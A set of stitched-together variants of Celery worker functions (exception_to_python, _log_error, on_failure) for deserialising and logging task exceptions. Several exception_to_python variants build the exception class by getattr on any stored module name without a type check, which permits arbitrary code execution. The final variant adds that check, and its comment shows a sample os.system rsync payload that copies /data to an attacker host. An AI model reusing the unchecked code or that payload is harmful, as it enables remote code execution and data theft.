def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if exc: if not isinstance(exc, BaseException): exc_module = exc.get('exc_module') if exc_module is None: cls = create_exception_cls(from_utf8(exc['exc_type']), __name__) else: exc_module = from_utf8(exc_module) exc_type = from_utf8(exc['exc_type']) try: # Load module and find exception class in that cls = sys.modules[exc_module] # The type can contain qualified name with parent classes for name in exc_type.split('.'): cls = getattr(cls, name) except (KeyError, AttributeError): cls = create_exception_cls(exc_type, celery.exceptions.__name__) exc_msg = exc['exc_message'] try: if isinstance(exc_msg, (tuple, list)): exc = cls(*exc_msg) else: exc = cls(exc_msg) except Exception as err: # noqa exc = Exception(f'{cls}({exc_msg})') if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) return exc
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if exc: if not isinstance(exc, BaseException): exc_module = exc.get('exc_module') if exc_module is None: cls = create_exception_cls(from_utf8(exc['exc_type']), __name__) else: exc_module = from_utf8(exc_module) exc_type = from_utf8(exc['exc_type']) try: cls = getattr(sys.modules[exc_module], exc_type) except (KeyError, AttributeError): cls = create_exception_cls(exc_type, celery.exceptions.__name__) exc_msg = exc['exc_message'] try: if isinstance(exc_msg, tuple): exc = cls(*exc_msg) else: exc = cls(exc_msg) except Exception as err: # noqa exc = Exception('{}({})'.format(cls, exc_msg)) if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) return exc
def _log_error(self, task, req, einfo): eobj = einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, sargs, skwargs = ( safe_repr(eobj), safe_str(einfo.traceback), einfo.exc_info, safe_repr(req.args), safe_repr(req.kwargs), ) policy = get_log_policy(task, einfo, eobj) context = { "hostname": req.hostname, "id": req.id, "name": task.name, "exc": exception, "traceback": traceback, "args": sargs, "kwargs": skwargs, "description": policy.description, "internal": einfo.internal, } logger.log( policy.severity, policy.format.strip(), context, exc_info=exc_info if policy.traceback else None, extra={"data": context}, )
def _log_error(self, einfo): einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, internal, sargs, skwargs = ( safe_repr(einfo.exception), safe_str(einfo.traceback), einfo.exc_info, einfo.internal, safe_repr(self.args), safe_repr(self.kwargs), ) format = self.error_msg description = 'raised exception' severity = logging.ERROR self.send_event( 'task-failed', exception=exception, traceback=traceback, ) if internal: if isinstance(einfo.exception, MemoryError): raise MemoryError('Process got: %s' % (einfo.exception, )) if isinstance(einfo.exception, Ignore): format = self.ignored_msg description = 'ignored' severity = logging.INFO exc_info = None self.acknowledge() else: format = self.internal_error_msg description = 'INTERNAL ERROR' severity = logging.CRITICAL context = { 'hostname': self.hostname, 'id': self.id, 'name': self.name, 'exc': exception, 'traceback': traceback, 'args': sargs, 'kwargs': skwargs, 'description': description, } logger.log(severity, format.strip(), context, exc_info=exc_info, extra={ 'data': { 'id': self.id, 'name': self.name, 'args': sargs, 'kwargs': skwargs, 'hostname': self.hostname, 'internal': internal } }) self.task.send_error_email(context, einfo.exception)
def _log_error(self, task, req, einfo): eobj = einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, sargs, skwargs = ( safe_repr(eobj), safe_str(einfo.traceback), einfo.exc_info, safe_repr(req.args), safe_repr(req.kwargs), ) policy = get_log_policy(task, einfo, eobj) context = { 'hostname': req.hostname, 'id': req.id, 'name': task.name, 'exc': exception, 'traceback': traceback, 'args': sargs, 'kwargs': skwargs, 'description': policy.description, 'internal': einfo.internal, } logger.log(policy.severity, policy.format.strip(), context, exc_info=exc_info if policy.traceback else None, extra={'data': context})
def _log_error(self, task, req, einfo): eobj = einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, sargs, skwargs = ( safe_repr(eobj), safe_str(einfo.traceback), einfo.exc_info, safe_repr(req.args), safe_repr(req.kwargs), ) policy = get_log_policy(task, einfo, eobj) context = { "hostname": req.hostname, "id": req.id, "name": get_task_name(req, task.name), "exc": exception, "traceback": traceback, "args": sargs, "kwargs": skwargs, "description": policy.description, "internal": einfo.internal, } logger.log( policy.severity, policy.format.strip(), context, exc_info=exc_info if policy.traceback else None, extra={"data": context}, )
def _log_error(self, task, req, einfo): eobj = einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, sargs, skwargs = ( safe_repr(eobj), safe_str(einfo.traceback), einfo.exc_info, safe_repr(req.args), safe_repr(req.kwargs), ) policy = get_log_policy(task, einfo, eobj) context = { 'hostname': req.hostname, 'id': req.id, 'name': task.name, 'exc': exception, 'traceback': traceback, 'args': sargs, 'kwargs': skwargs, 'description': policy.description, 'internal': einfo.internal, } logger.log(policy.severity, policy.format.strip(), context, exc_info=exc_info if policy.traceback else None, extra={'data': context}) if policy.mail: task.send_error_email(context, einfo.exception)
def _log_error(self, einfo, send_failed_event=True): einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, internal, sargs, skwargs = ( safe_repr(einfo.exception), safe_str(einfo.traceback), einfo.exc_info, einfo.internal, safe_repr(self.args), safe_repr(self.kwargs), ) format = self.error_msg description = 'raised exception' severity = logging.ERROR if send_failed_event: self.send_event( 'task-failed', exception=exception, traceback=traceback, ) if internal: if isinstance(einfo.exception, MemoryError): raise MemoryError('Process got: %s' % (einfo.exception, )) elif isinstance(einfo.exception, Reject): format = self.rejected_msg description = 'rejected' severity = logging.WARN exc_info = einfo self.reject(requeue=einfo.exception.requeue) elif isinstance(einfo.exception, Ignore): format = self.ignored_msg description = 'ignored' severity = logging.INFO exc_info = None self.acknowledge() else: format = self.internal_error_msg description = 'INTERNAL ERROR' severity = logging.CRITICAL context = { 'hostname': self.hostname, 'id': self.id, 'name': self.name, 'exc': exception, 'traceback': traceback, 'args': sargs, 'kwargs': skwargs, 'description': description, } logger.log(severity, format.strip(), context, exc_info=exc_info, extra={'data': {'id': self.id, 'name': self.name, 'args': sargs, 'kwargs': skwargs, 'hostname': self.hostname, 'internal': internal}}) self.task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if self.serializer in EXCEPTION_ABLE_CODECS: return get_pickled_exception(exc) elif not isinstance(exc, BaseException): return create_exception_cls(from_utf8(exc['exc_type']), __name__)(exc['exc_message']) return exc
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if not isinstance(exc, BaseException): exc = create_exception_cls( from_utf8(exc['exc_type']), __name__)(exc['exc_message']) if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) return exc
def on_failure(self, exc_info, send_failed_event=True, return_ok=False): """Handler called if the task raised an exception.""" task_ready(self) if isinstance(exc_info.exception, MemoryError): raise MemoryError("Process got: %s" % (exc_info.exception, )) elif isinstance(exc_info.exception, Reject): return self.reject(requeue=exc_info.exception.requeue) elif isinstance(exc_info.exception, Ignore): return self.acknowledge() exc = exc_info.exception if isinstance(exc, Retry): return self.on_retry(exc_info) # (acks_late) acknowledge after result stored. requeue = False if self.task.acks_late: reject = self.task.reject_on_worker_lost and isinstance( exc, WorkerLostError) ack = self.task.acks_on_failure_or_timeout if reject: requeue = True self.reject(requeue=requeue) send_failed_event = False elif ack: self.acknowledge() else: # supporting the behaviour where a task failed and # need to be removed from prefetched local queue self.reject(requeue=False) # These are special cases where the process would not have had time # to write the result. if isinstance(exc, Terminated): self._announce_revoked("terminated", True, string(exc), False) send_failed_event = False # already sent revoked event elif not requeue and (isinstance(exc, WorkerLostError) or not return_ok): # only mark as failure if task has not been requeued self.task.backend.mark_as_failure( self.id, exc, request=self._context, store_result=self.store_errors, ) if send_failed_event: self.send_event( "task-failed", exception=safe_repr(get_pickled_exception(exc_info.exception)), traceback=exc_info.traceback, ) if not return_ok: error("Task handler raised error: %r", exc, exc_info=exc_info.exc_info)
def on_failure(self, exc_info, send_failed_event=True, return_ok=False): """Handler called if the task raised an exception.""" task_ready(self) if isinstance(exc_info.exception, MemoryError): raise MemoryError('Process got: %s' % (exc_info.exception,)) elif isinstance(exc_info.exception, Reject): return self.reject(requeue=exc_info.exception.requeue) elif isinstance(exc_info.exception, Ignore): return self.acknowledge() exc = exc_info.exception if isinstance(exc, Retry): return self.on_retry(exc_info) # These are special cases where the process wouldn't've had # time to write the result. if isinstance(exc, Terminated): self._announce_revoked( 'terminated', True, string(exc), False) send_failed_event = False # already sent revoked event elif isinstance(exc, WorkerLostError) or not return_ok: self.task.backend.mark_as_failure( self.id, exc, request=self._context, store_result=self.store_errors, ) # (acks_late) acknowledge after result stored. if self.task.acks_late: reject = ( self.task.reject_on_worker_lost and isinstance(exc, WorkerLostError) ) ack = self.task.acks_on_failure_or_timeout if reject: requeue = not self.delivery_info.get('redelivered') self.reject(requeue=requeue) send_failed_event = False elif ack: self.acknowledge() if send_failed_event: self.send_event( 'task-failed', exception=safe_repr(get_pickled_exception(exc_info.exception)), traceback=exc_info.traceback, ) if not return_ok: error('Task handler raised error: %r', exc, exc_info=exc_info.exc_info)
def on_failure(self, exc_info, send_failed_event=True, return_ok=False): """Handler called if the task raised an exception.""" task_ready(self) if isinstance(exc_info.exception, MemoryError): raise MemoryError('Process got: %s' % (exc_info.exception, )) elif isinstance(exc_info.exception, Reject): return self.reject(requeue=exc_info.exception.requeue) elif isinstance(exc_info.exception, Ignore): return self.acknowledge() exc = exc_info.exception if isinstance(exc, Retry): return self.on_retry(exc_info) # These are special cases where the process wouldn't've had # time to write the result. if isinstance(exc, Terminated): self._announce_revoked('terminated', True, string(exc), False) send_failed_event = False # already sent revoked event elif isinstance(exc, WorkerLostError) or not return_ok: self.task.backend.mark_as_failure( self.id, exc, request=self._context, store_result=self.store_errors, ) # (acks_late) acknowledge after result stored. if self.task.acks_late: reject = (self.task.reject_on_worker_lost and isinstance(exc, WorkerLostError)) ack = self.task.acks_on_failure_or_timeout if reject: requeue = not self.delivery_info.get('redelivered') self.reject(requeue=requeue) send_failed_event = False elif ack: self.acknowledge() if send_failed_event: self.send_event( 'task-failed', exception=safe_repr(get_pickled_exception(exc_info.exception)), traceback=exc_info.traceback, ) if not return_ok: error('Task handler raised error: %r', exc, exc_info=exc_info.exc_info)
def _log_error(self, einfo): einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, internal, sargs, skwargs = ( safe_repr(einfo.exception), safe_str(einfo.traceback), einfo.exc_info, einfo.internal, safe_repr(self.args), safe_repr(self.kwargs), ) format = self.error_msg description = "raised exception" severity = logging.ERROR self.send_event("task-failed", exception=exception, traceback=traceback) if internal: format = self.internal_error_msg description = "INTERNAL ERROR" severity = logging.CRITICAL context = { "hostname": self.hostname, "id": self.id, "name": self.name, "exc": exception, "traceback": traceback, "args": sargs, "kwargs": skwargs, "description": description, } logger.log( severity, format.strip(), context, exc_info=exc_info, extra={ "data": { "id": self.id, "name": self.name, "args": sargs, "kwargs": skwargs, "hostname": self.hostname, "internal": internal, } }, ) self.task.send_error_email(context, einfo.exception)
def _log_error(self, einfo): einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, internal, sargs, skwargs = ( safe_repr(einfo.exception), safe_str(einfo.traceback), einfo.exc_info, einfo.internal, safe_repr(self.args), safe_repr(self.kwargs), ) format = self.error_msg description = 'raised exception' severity = logging.ERROR self.send_event('task-failed', exception=exception, traceback=traceback) if internal: format = self.internal_error_msg description = 'INTERNAL ERROR' severity = logging.CRITICAL context = { 'hostname': self.hostname, 'id': self.id, 'name': self.name, 'exc': exception, 'traceback': traceback, 'args': sargs, 'kwargs': skwargs, 'description': description, } logger.log(severity, format.strip(), context, exc_info=exc_info, extra={ 'data': { 'id': self.id, 'name': self.name, 'args': sargs, 'kwargs': skwargs, 'hostname': self.hostname, 'internal': internal } }) self.task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if exc: if not isinstance(exc, BaseException): exc_module = exc.get('exc_module') if exc_module is None: cls = create_exception_cls( from_utf8(exc['exc_type']), __name__) else: exc_module = from_utf8(exc_module) exc_type = from_utf8(exc['exc_type']) cls = getattr(sys.modules[exc_module], exc_type) exc_msg = exc['exc_message'] exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg) if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) return exc
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if exc: if not isinstance(exc, BaseException): exc_module = exc.get('exc_module') if exc_module is None: cls = create_exception_cls(from_utf8(exc['exc_type']), __name__) else: exc_module = from_utf8(exc_module) exc_type = from_utf8(exc['exc_type']) cls = getattr(sys.modules[exc_module], exc_type) exc_msg = exc['exc_message'] exc = cls(*exc_msg if isinstance(exc_msg, tuple) else exc_msg) if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) return exc
def _log_error(self, einfo): einfo.exception = get_pickled_exception(einfo.exception) exception, traceback, exc_info, internal, sargs, skwargs = ( safe_repr(einfo.exception), safe_str(einfo.traceback), einfo.exc_info, einfo.internal, safe_repr(self.args), safe_repr(self.kwargs), ) format = self.error_msg description = 'raised exception' severity = logging.ERROR self.send_event('task-failed', exception=exception, traceback=traceback) if internal: format = self.internal_error_msg description = 'INTERNAL ERROR' severity = logging.CRITICAL context = { 'hostname': self.hostname, 'id': self.id, 'name': self.name, 'exc': exception, 'traceback': traceback, 'args': sargs, 'kwargs': skwargs, 'description': description, } logger.log(severity, format.strip(), context, exc_info=exc_info, extra={'data': {'id': self.id, 'name': self.name, 'args': sargs, 'kwargs': skwargs, 'hostname': self.hostname, 'internal': internal}}) self.task.send_error_email(context, einfo.exception)
def on_failure(self, exc_info, send_failed_event=True, return_ok=False): """Handler called if the task raised an exception.""" task_ready(self) if isinstance(exc_info.exception, MemoryError): raise MemoryError("Process got: %s" % (exc_info.exception,)) elif isinstance(exc_info.exception, Reject): return self.reject(requeue=exc_info.exception.requeue) elif isinstance(exc_info.exception, Ignore): return self.acknowledge() exc = exc_info.exception if isinstance(exc, Retry): return self.on_retry(exc_info) # These are special cases where the process would not have had # time to write the result. if self.store_errors: if isinstance(exc, Terminated): self._announce_revoked("terminated", True, string(exc), False) send_failed_event = False # already sent revoked event elif isinstance(exc, WorkerLostError) or not return_ok: self.task.backend.mark_as_failure(self.id, exc, request=self) # (acks_late) acknowledge after result stored. if self.task.acks_late: self.acknowledge() if send_failed_event: self.send_event( "task-failed", exception=safe_repr(get_pickled_exception(exc_info.exception)), traceback=exc_info.traceback, ) if not return_ok: error("Task handler raised error: %r", exc, exc_info=exc_info.exc_info)
def _log_error(self, einfo, send_failed_event=True): einfo.exception = get_pickled_exception(einfo.exception) eobj = einfo.exception exception, traceback, exc_info, internal, sargs, skwargs = ( safe_repr(eobj), safe_str(einfo.traceback), einfo.exc_info, einfo.internal, safe_repr(self.args), safe_repr(self.kwargs), ) task = self.task if task.throws and isinstance(eobj, task.throws): do_send_mail, severity, exc_info, description = ( False, logging.INFO, None, 'raised expected', ) else: do_send_mail, severity, description = ( True, logging.ERROR, 'raised unexpected', ) format = self.error_msg if internal: if isinstance(einfo.exception, MemoryError): raise MemoryError('Process got: %s' % (einfo.exception, )) elif isinstance(einfo.exception, Reject): format = self.rejected_msg description = 'rejected' severity = logging.WARN send_failed_event = False self.reject(requeue=einfo.exception.requeue) elif isinstance(einfo.exception, Ignore): format = self.ignored_msg description = 'ignored' severity = logging.INFO exc_info = None send_failed_event = False self.acknowledge() else: format = self.internal_error_msg description = 'INTERNAL ERROR' severity = logging.CRITICAL if send_failed_event: self.send_event( 'task-failed', exception=exception, traceback=traceback, ) context = { 'hostname': self.hostname, 'id': self.id, 'name': self.name, 'exc': exception, 'traceback': traceback, 'args': sargs, 'kwargs': skwargs, 'description': description, } logger.log(severity, format.strip(), context, exc_info=exc_info, extra={ 'data': { 'id': self.id, 'name': self.name, 'args': sargs, 'kwargs': skwargs, 'hostname': self.hostname, 'internal': internal } }) if do_send_mail: task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if app_or_default().conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml"): return get_pickled_exception(exc) return create_exception_cls(exc["exc_type"].encode("utf-8"), sys.modules[__name__])
def on_failure(self, exc_info, send_failed_event=True, return_ok=False): """Handler called if the task raised an exception.""" task_ready(self) exc = exc_info.exception is_terminated = isinstance(exc, Terminated) if is_terminated: # If the task was terminated and the task was not cancelled due # to a connection loss, it is revoked. # We always cancel the tasks inside the master process. # If the request was cancelled, it was not revoked and there's # nothing to be done. # According to the comment below, we need to check if the task # is already revoked and if it wasn't, we should announce that # it was. if not self._already_cancelled and not self._already_revoked: # This is a special case where the process # would not have had time to write the result. self._announce_revoked('terminated', True, str(exc), False) return elif isinstance(exc, MemoryError): raise MemoryError(f'Process got: {exc}') elif isinstance(exc, Reject): return self.reject(requeue=exc.requeue) elif isinstance(exc, Ignore): return self.acknowledge() elif isinstance(exc, Retry): return self.on_retry(exc_info) # (acks_late) acknowledge after result stored. requeue = False is_worker_lost = isinstance(exc, WorkerLostError) if self.task.acks_late: reject = (self.task.reject_on_worker_lost and is_worker_lost) ack = self.task.acks_on_failure_or_timeout if reject: requeue = True self.reject(requeue=requeue) send_failed_event = False elif ack: self.acknowledge() else: # supporting the behaviour where a task failed and # need to be removed from prefetched local queue self.reject(requeue=False) # This is a special case where the process would not have had time # to write the result. if not requeue and (is_worker_lost or not return_ok): # only mark as failure if task has not been requeued self.task.backend.mark_as_failure( self.id, exc, request=self._context, store_result=self.store_errors, ) signals.task_failure.send(sender=self.task, task_id=self.id, exception=exc, args=self.args, kwargs=self.kwargs, traceback=exc_info.traceback, einfo=exc_info) if send_failed_event: self.send_event( 'task-failed', exception=safe_repr(get_pickled_exception(exc_info.exception)), traceback=exc_info.traceback, ) if not return_ok: error('Task handler raised error: %r', exc, exc_info=exc_info.exc_info)
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" return get_pickled_exception(exc)
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if (self.app.conf["CELERY_RESULT_SERIALIZER"] in ("pickle", "yaml")): return get_pickled_exception(exc) return create_exception_cls(exc["exc_type"].encode("utf-8"), sys.modules[__name__])
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if self.serializer in EXCEPTION_ABLE_CODECS: return get_pickled_exception(exc) return create_exception_cls(from_utf8(exc['exc_type']), sys.modules[__name__])(exc['exc_message'])
def _log_error(self, einfo, send_failed_event=True): einfo.exception = get_pickled_exception(einfo.exception) eobj = einfo.exception exception, traceback, exc_info, internal, sargs, skwargs = ( safe_repr(eobj), safe_str(einfo.traceback), einfo.exc_info, einfo.internal, safe_repr(self.args), safe_repr(self.kwargs), ) task = self.task if task.throws and isinstance(eobj, task.throws): severity, exc_info = logging.INFO, None description = "raised expected" else: severity = logging.ERROR description = "raised unexpected" format = self.error_msg if send_failed_event: self.send_event("task-failed", exception=exception, traceback=traceback) if internal: if isinstance(einfo.exception, MemoryError): raise MemoryError("Process got: %s" % (einfo.exception,)) elif isinstance(einfo.exception, Reject): format = self.rejected_msg description = "rejected" severity = logging.WARN exc_info = einfo self.reject(requeue=einfo.exception.requeue) elif isinstance(einfo.exception, Ignore): format = self.ignored_msg description = "ignored" severity = logging.INFO exc_info = None self.acknowledge() else: format = self.internal_error_msg description = "INTERNAL ERROR" severity = logging.CRITICAL context = { "hostname": self.hostname, "id": self.id, "name": self.name, "exc": exception, "traceback": traceback, "args": sargs, "kwargs": skwargs, "description": description, } logger.log( severity, format.strip(), context, exc_info=exc_info, extra={ "data": { "id": self.id, "name": self.name, "args": sargs, "kwargs": skwargs, "hostname": self.hostname, "internal": internal, } }, ) task.send_error_email(context, einfo.exception)
def exception_to_python(self, exc): """Convert serialized exception to Python exception.""" if not exc: return None elif isinstance(exc, BaseException): if self.serializer in EXCEPTION_ABLE_CODECS: exc = get_pickled_exception(exc) return exc elif not isinstance(exc, dict): try: exc = dict(exc) except TypeError as e: raise TypeError(f"If the stored exception isn't an " f"instance of " f"BaseException, it must be a dictionary.\n" f"Instead got: {exc}") from e exc_module = exc.get('exc_module') try: exc_type = exc['exc_type'] except KeyError as e: raise ValueError("Exception information must include " "the exception type") from e if exc_module is None: cls = create_exception_cls( exc_type, __name__) else: try: # Load module and find exception class in that cls = sys.modules[exc_module] # The type can contain qualified name with parent classes for name in exc_type.split('.'): cls = getattr(cls, name) except (KeyError, AttributeError): cls = create_exception_cls(exc_type, celery.exceptions.__name__) exc_msg = exc.get('exc_message', '') # If the recreated exception type isn't indeed an exception, # this is a security issue. Without the condition below, an attacker # could exploit a stored command vulnerability to execute arbitrary # python code such as: # os.system("rsync /data [email protected]:~/data") # The attacker sets the task's result to a failure in the result # backend with the os as the module, the system function as the # exception type and the payload # rsync /data [email protected]:~/data # as the exception arguments like so: # { # "exc_module": "os", # "exc_type": "system", # "exc_message": "rsync /data [email protected]:~/data" # } if not isinstance(cls, type) or not issubclass(cls, BaseException): fake_exc_type = exc_type if exc_module is None else f'{exc_module}.{exc_type}' raise SecurityError( f"Expected an exception class, got {fake_exc_type} with payload {exc_msg}") # XXX: Without verifying `cls` is actually an exception class, # an attacker could execute arbitrary python code. # cls could be anything, even eval(). try: if isinstance(exc_msg, (tuple, list)): exc = cls(*exc_msg) else: exc = cls(exc_msg) except Exception as err: # noqa exc = Exception(f'{cls}({exc_msg})') return exc
def on_failure(self, exc_info, send_failed_event=True, return_ok=False): """Handler called if the task raised an exception.""" task_ready(self) exc = exc_info.exception is_terminated = isinstance(exc, Terminated) if is_terminated: # If the message no longer has a connection and the worker # is terminated, we aborted it. # Otherwise, it is revoked. if self.message.channel.connection and not self._already_revoked: # This is a special case where the process # would not have had time to write the result. self._announce_revoked('terminated', True, str(exc), False) elif not self._already_cancelled: self._announce_cancelled() return elif isinstance(exc, MemoryError): raise MemoryError(f'Process got: {exc}') elif isinstance(exc, Reject): return self.reject(requeue=exc.requeue) elif isinstance(exc, Ignore): return self.acknowledge() elif isinstance(exc, Retry): return self.on_retry(exc_info) # (acks_late) acknowledge after result stored. requeue = False is_worker_lost = isinstance(exc, WorkerLostError) if self.task.acks_late: reject = (self.task.reject_on_worker_lost and is_worker_lost) ack = self.task.acks_on_failure_or_timeout if reject: requeue = True self.reject(requeue=requeue) send_failed_event = False elif ack: self.acknowledge() else: # supporting the behaviour where a task failed and # need to be removed from prefetched local queue self.reject(requeue=False) # This is a special case where the process would not have had time # to write the result. if not requeue and (is_worker_lost or not return_ok): # only mark as failure if task has not been requeued self.task.backend.mark_as_failure( self.id, exc, request=self._context, store_result=self.store_errors, ) if send_failed_event: self.send_event( 'task-failed', exception=safe_repr(get_pickled_exception(exc_info.exception)), traceback=exc_info.traceback, ) if not return_ok: error('Task handler raised error: %r', exc, exc_info=exc_info.exc_info)